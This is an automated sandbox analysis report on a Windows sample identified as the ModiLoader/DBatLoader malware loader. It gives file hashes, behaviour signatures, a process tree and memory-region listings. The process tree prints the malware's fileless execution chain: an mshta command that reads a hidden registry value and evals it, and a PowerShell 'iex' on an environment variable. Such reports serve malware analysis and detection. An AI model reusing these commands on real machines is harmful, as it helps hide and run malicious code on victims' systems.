Analysis

  • max time kernel
    144s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2024 09:53

General

  • Target

    00b99e501ab5d79b6eca9539471d2c9d_JaffaCakes118.exe

  • Size

    280KB

  • MD5

    00b99e501ab5d79b6eca9539471d2c9d

  • SHA1

    51e47097473ac142455a6094ffcce6dfa45c5369

  • SHA256

    9600eb65f5f71c4cacdaf718c3d1751da390282546e6f3411f43bf21704362b1

  • SHA512

    b38b587fb4b84603e2b49f8400afe44817b52cd2883ef5b4b1c8792473bbaf1cbd357d5df721e48f920655151807519c592a3d3726732b53202f69808ff06371

  • SSDEEP

    6144:7y9n70iH6yfi3hRgmDRgHRW456Oex1VufC:7y9SyfEDRgH845M3+C

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\00b99e501ab5d79b6eca9539471d2c9d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\00b99e501ab5d79b6eca9539471d2c9d_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Users\Admin\AppData\Local\Temp\00b99e501ab5d79b6eca9539471d2c9d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\00b99e501ab5d79b6eca9539471d2c9d_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4740
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:AvW4B="NtmTjnDa";vK1=new%20ActiveXObject("WScript.Shell");C9HNs9SN="je";uHu2o1=vK1.RegRead("HKLM\\software\\Wow6432Node\\KfMiMVMl\\j6TxPLvmjc");ILxWI7="BRE";eval(uHu2o1);Rnl1GP="J";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:lfhme
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4336

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ij3bm2r.5u0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4336-14-0x00000000025E0000-0x0000000002616000-memory.dmp

    Filesize

    216KB

  • memory/4336-18-0x00000000057E0000-0x0000000005846000-memory.dmp

    Filesize

    408KB

  • memory/4336-31-0x0000000007420000-0x0000000007A9A000-memory.dmp

    Filesize

    6.5MB

  • memory/4336-29-0x0000000005D00000-0x0000000005D1E000-memory.dmp

    Filesize

    120KB

  • memory/4336-28-0x0000000005850000-0x0000000005BA4000-memory.dmp

    Filesize

    3.3MB

  • memory/4336-17-0x0000000005770000-0x00000000057D6000-memory.dmp

    Filesize

    408KB

  • memory/4336-16-0x0000000004F60000-0x0000000004F82000-memory.dmp

    Filesize

    136KB

  • memory/4336-15-0x00000000050D0000-0x00000000056F8000-memory.dmp

    Filesize

    6.2MB

  • memory/4336-32-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

    Filesize

    104KB

  • memory/4336-30-0x0000000005D40000-0x0000000005D8C000-memory.dmp

    Filesize

    304KB

  • memory/4740-11-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-7-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-9-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-5-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/4740-2-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/4740-10-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-8-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-4-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/4740-6-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB

  • memory/4740-12-0x0000000000A20000-0x0000000000AF6000-memory.dmp

    Filesize

    856KB